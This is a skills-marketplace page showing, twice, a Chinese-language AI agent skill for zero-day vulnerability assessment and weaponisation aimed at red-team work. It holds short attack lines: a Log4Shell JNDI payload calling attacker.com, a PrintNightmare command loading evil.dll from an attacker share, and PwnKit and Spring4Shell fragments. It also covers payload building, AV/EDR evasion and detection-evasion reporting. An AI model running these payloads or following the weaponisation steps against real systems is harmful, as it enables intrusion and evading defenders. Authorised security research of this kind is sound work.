ワンクリックでManusで任意のスキルを実行

始める

redteam-intrusion-0day

スター1

フォーク1

更新日2026年4月11日 05:14

0day漏洞审查。零日漏洞研究和利用可行性评估。当用户要求"0day分析"、"漏洞利用评估"、"Exploit开发"、"PoC分析"、"漏洞武器化"时使用此技能。仅限授权安全研究使用。

インストール

Codex または Claude でインストールこの Prompt をコピーして Codex、Claude、または他のアシスタントに貼り付けると、Skill ページを確認してインストールできます。

Manusで実行

ソース

chenchunrun

chenchunrun/onyx-soc

GitHub リポジトリを開く Creator のリポジトリを見る

ダウンロード

Manusで実行

0day漏洞审查

零日漏洞研究和利用可行性评估，用于红队作战和安全研究。

适用场景

仅限授权研究:

已知漏洞的利用评估
新披露漏洞的影响分析
红队定制化利用开发
安全研究和漏洞悬赏

漏洞分类

按漏洞类型

类型	代表漏洞	利用难度
内存破坏	缓冲区溢出、UAF	高
逻辑漏洞	认证绕过、权限提升	中
注入漏洞	SQL注入、命令注入	低
反序列化	Java/PHP反序列化	中
配置缺陷	默认凭据、错误配置	低

按影响范围

范围	描述	价值
通用漏洞	影响广泛产品	极高
产品漏洞	特定产品	高
配置漏洞	特定环境	中

分析流程

Phase 1: 漏洞情报

信息收集:

CVE详情
厂商公告
PoC/Exploit公开情况
补丁信息

情报来源:

来源	类型	及时性
NVD	官方	中
Exploit-DB	PoC	快
GitHub	PoC	快
Twitter/X	讨论	最快
厂商公告	官方	中

Phase 2: 技术分析

漏洞成因:

## 漏洞分析

### 漏洞类型
[SQL注入 / RCE / 权限绕过等]

### 触发条件
1. [前置条件1]
2. [前置条件2]

### 漏洞代码
[关键代码片段分析]

### 利用链
[触发] → [绕过] → [执行] → [获权]

利用条件评估:

条件	要求	目标环境
版本	1.0-2.0	✅ 符合
配置	默认配置	✅ 符合
权限	无需认证	✅ 符合
网络	可达目标端口	✅ 符合

Phase 3: 利用评估

可利用性评分:

维度	评分(1-10)	说明
稳定性	X	是否可靠触发
通用性	X	跨版本/环境
隐蔽性	X	日志/痕迹
复杂度	X	利用门槛

CVSS评估:

Attack Vector: Network
Attack Complexity: Low
Privileges Required: None
User Interaction: None
Scope: Changed
Confidentiality: High
Integrity: High
Availability: High

CVSS Score: 9.8 (Critical)

Phase 4: PoC验证

验证环境:

# 搭建测试环境
docker run -d -p 8080:80 vuln-app:1.0

# 执行PoC
python exploit.py -t http://target:8080

# 验证结果
[+] Exploit successful
[+] Shell obtained

PoC来源:

来源	可靠性	风险
Exploit-DB	高	低
GitHub	中	中
Metasploit	高	低
私有	不定	高

Phase 5: 武器化

定制化需求:

载荷类型（反弹Shell/Beacon等）
规避需求（AV/EDR绕过）
稳定性要求
清理机制

武器化checklist:

常见漏洞利用

Web RCE

Log4Shell (CVE-2021-44228):

${jndi:ldap://attacker.com/exploit}

Spring4Shell (CVE-2022-22965):

POST /path HTTP/1.1
...
class.module.classLoader.resources.context.parent.pipeline...

Windows提权

PrintNightmare (CVE-2021-34527):

# 检测
Get-Service -Name Spooler | Select Status

# 利用
SharpPrintNightmare.exe \\attacker\share\evil.dll

Linux提权

PwnKit (CVE-2021-4034):

# 检测
pkexec --version

# 利用
./pwnkit

输出规范

漏洞评估报告

# 漏洞评估报告

## 基本信息
| 字段 | 值 |
|------|-----|
| CVE编号 | CVE-XXXX-XXXXX |
| 漏洞名称 | [名称] |
| 影响产品 | [产品版本] |
| 漏洞类型 | [类型] |
| CVSS评分 | X.X |

## 技术分析
[漏洞成因和利用链分析]

## 利用评估
| 维度 | 评估 |
|------|------|
| 可利用性 | 高/中/低 |
| 稳定性 | 高/中/低 |
| 武器化难度 | 高/中/低 |

## 目标适用性
[针对具体目标的评估]

## 利用建议
[红队场景下的使用建议]

## 检测规避
[已知检测方法和规避策略]

资源链接

漏洞数据库

资源	链接	用途
NVD	nvd.nist.gov	官方CVE
Exploit-DB	exploit-db.com	PoC
CVE Details	cvedetails.com	统计分析

利用框架

框架	用途
Metasploit	综合利用
Cobalt Strike	红队作战
Sliver	开源C2

与其他技能的关联

场景	调用技能	说明
漏洞扫描	`/redteam-intrusion-hunter`	批量发现
载荷制作	`/redteam-lateral-evasion`	免杀处理
权限提升	`/redteam-privesc`	后续提权
漏洞查询	`/researching-vulnerabilities`	情报收集

このリポジトリの他の Skills

同じリポジトリ

email-osint

chenchunrun/onyx-soc

邮箱情报调查与关联分析。当用户要求"邮箱调查"、"邮箱搜索"、"查邮箱"、"邮箱关联"、"社交账号发现"、"用户名搜索"、"数字足迹"、"OSINT调查"、"人肉搜索"时使用此技能。

2026-04-111

prompt-injection-detect

chenchunrun/onyx-soc

提示注入攻击检测与防御。当用户要求"检测提示注入"、"Prompt Injection"、"LLM安全"、"AI安全测试"、"越狱检测"、"Jailbreak检测"、"间接注入检测"时使用此技能。

2026-04-111

redteam-intrusion-hunter

chenchunrun/onyx-soc

漏洞猎人扫描。自动化漏洞扫描和利用验证。当用户要求"漏洞扫描"、"Nuclei扫描"、"批量漏洞检测"、"Web漏洞扫描"、"PoC扫描"时使用此技能。仅限授权渗透测试使用。

2026-04-111

redteam-intrusion-social

chenchunrun/onyx-soc

社工钓鱼作战。社会工程学攻击策划和钓鱼内容构造。当用户要求"钓鱼攻击"、"社工攻击"、"钓鱼邮件"、"BEC攻击"、"钓鱼页面"、"社会工程"时使用此技能。仅限授权红队测试使用。

2026-04-111

redteam-recon-enterprise

chenchunrun/onyx-soc

企业级目标情报收集。对目标企业进行资产发现、技术栈识别和攻击面测绘。当用户要求"企业资产发现"、"攻击面测绘"、"目标侦察"、"企业情报收集"、"外部资产发现"时使用此技能。

2026-04-111

redteam-recon-nation

chenchunrun/onyx-soc

国家级目标情报收集。针对APT组织和国家级威胁行为者的情报分析。当用户要求"APT分析"、"国家级威胁"、"APT情报"、"国家黑客组织"、"地缘政治网络威胁"时使用此技能。

2026-04-111

name	redteam-intrusion-0day
description	0day漏洞审查。零日漏洞研究和利用可行性评估。当用户要求"0day分析"、"漏洞利用评估"、"Exploit开发"、"PoC分析"、"漏洞武器化"时使用此技能。仅限授权安全研究使用。
metadata	{"version":"1.0.0","builtin":true,"category":"redteam-intrusion"}

0day漏洞审查

零日漏洞研究和利用可行性评估，用于红队作战和安全研究。

适用场景

仅限授权研究:

已知漏洞的利用评估
新披露漏洞的影响分析
红队定制化利用开发
安全研究和漏洞悬赏

漏洞分类

按漏洞类型

类型	代表漏洞	利用难度
内存破坏	缓冲区溢出、UAF	高
逻辑漏洞	认证绕过、权限提升	中
注入漏洞	SQL注入、命令注入	低
反序列化	Java/PHP反序列化	中
配置缺陷	默认凭据、错误配置	低

按影响范围

范围	描述	价值
通用漏洞	影响广泛产品	极高
产品漏洞	特定产品	高
配置漏洞	特定环境	中

分析流程

Phase 1: 漏洞情报

信息收集:

CVE详情
厂商公告
PoC/Exploit公开情况
补丁信息

情报来源:

来源	类型	及时性
NVD	官方	中
Exploit-DB	PoC	快
GitHub	PoC	快
Twitter/X	讨论	最快
厂商公告	官方	中

Phase 2: 技术分析

漏洞成因:

## 漏洞分析

### 漏洞类型
[SQL注入 / RCE / 权限绕过等]

### 触发条件
1. [前置条件1]
2. [前置条件2]

### 漏洞代码
[关键代码片段分析]

### 利用链
[触发] → [绕过] → [执行] → [获权]

利用条件评估:

条件	要求	目标环境
版本	1.0-2.0	✅ 符合
配置	默认配置	✅ 符合
权限	无需认证	✅ 符合
网络	可达目标端口	✅ 符合

Phase 3: 利用评估

可利用性评分:

维度	评分(1-10)	说明
稳定性	X	是否可靠触发
通用性	X	跨版本/环境
隐蔽性	X	日志/痕迹
复杂度	X	利用门槛

CVSS评估:

Attack Vector: Network
Attack Complexity: Low
Privileges Required: None
User Interaction: None
Scope: Changed
Confidentiality: High
Integrity: High
Availability: High

CVSS Score: 9.8 (Critical)

Phase 4: PoC验证

验证环境:

# 搭建测试环境
docker run -d -p 8080:80 vuln-app:1.0

# 执行PoC
python exploit.py -t http://target:8080

# 验证结果
[+] Exploit successful
[+] Shell obtained

PoC来源:

来源	可靠性	风险
Exploit-DB	高	低
GitHub	中	中
Metasploit	高	低
私有	不定	高

Phase 5: 武器化

定制化需求:

载荷类型（反弹Shell/Beacon等）
规避需求（AV/EDR绕过）
稳定性要求
清理机制

武器化checklist:

常见漏洞利用

Web RCE

Log4Shell (CVE-2021-44228):

${jndi:ldap://attacker.com/exploit}

Spring4Shell (CVE-2022-22965):

POST /path HTTP/1.1
...
class.module.classLoader.resources.context.parent.pipeline...

Windows提权

PrintNightmare (CVE-2021-34527):

# 检测
Get-Service -Name Spooler | Select Status

# 利用
SharpPrintNightmare.exe \\attacker\share\evil.dll

Linux提权

PwnKit (CVE-2021-4034):

# 检测
pkexec --version

# 利用
./pwnkit

输出规范

漏洞评估报告

# 漏洞评估报告

## 基本信息
| 字段 | 值 |
|------|-----|
| CVE编号 | CVE-XXXX-XXXXX |
| 漏洞名称 | [名称] |
| 影响产品 | [产品版本] |
| 漏洞类型 | [类型] |
| CVSS评分 | X.X |

## 技术分析
[漏洞成因和利用链分析]

## 利用评估
| 维度 | 评估 |
|------|------|
| 可利用性 | 高/中/低 |
| 稳定性 | 高/中/低 |
| 武器化难度 | 高/中/低 |

## 目标适用性
[针对具体目标的评估]

## 利用建议
[红队场景下的使用建议]

## 检测规避
[已知检测方法和规避策略]

资源链接

漏洞数据库

资源	链接	用途
NVD	nvd.nist.gov	官方CVE
Exploit-DB	exploit-db.com	PoC
CVE Details	cvedetails.com	统计分析

利用框架

框架	用途
Metasploit	综合利用
Cobalt Strike	红队作战
Sliver	开源C2

与其他技能的关联

场景	调用技能	说明
漏洞扫描	`/redteam-intrusion-hunter`	批量发现
载荷制作	`/redteam-lateral-evasion`	免杀处理
权限提升	`/redteam-privesc`	后续提权
漏洞查询	`/researching-vulnerabilities`	情报收集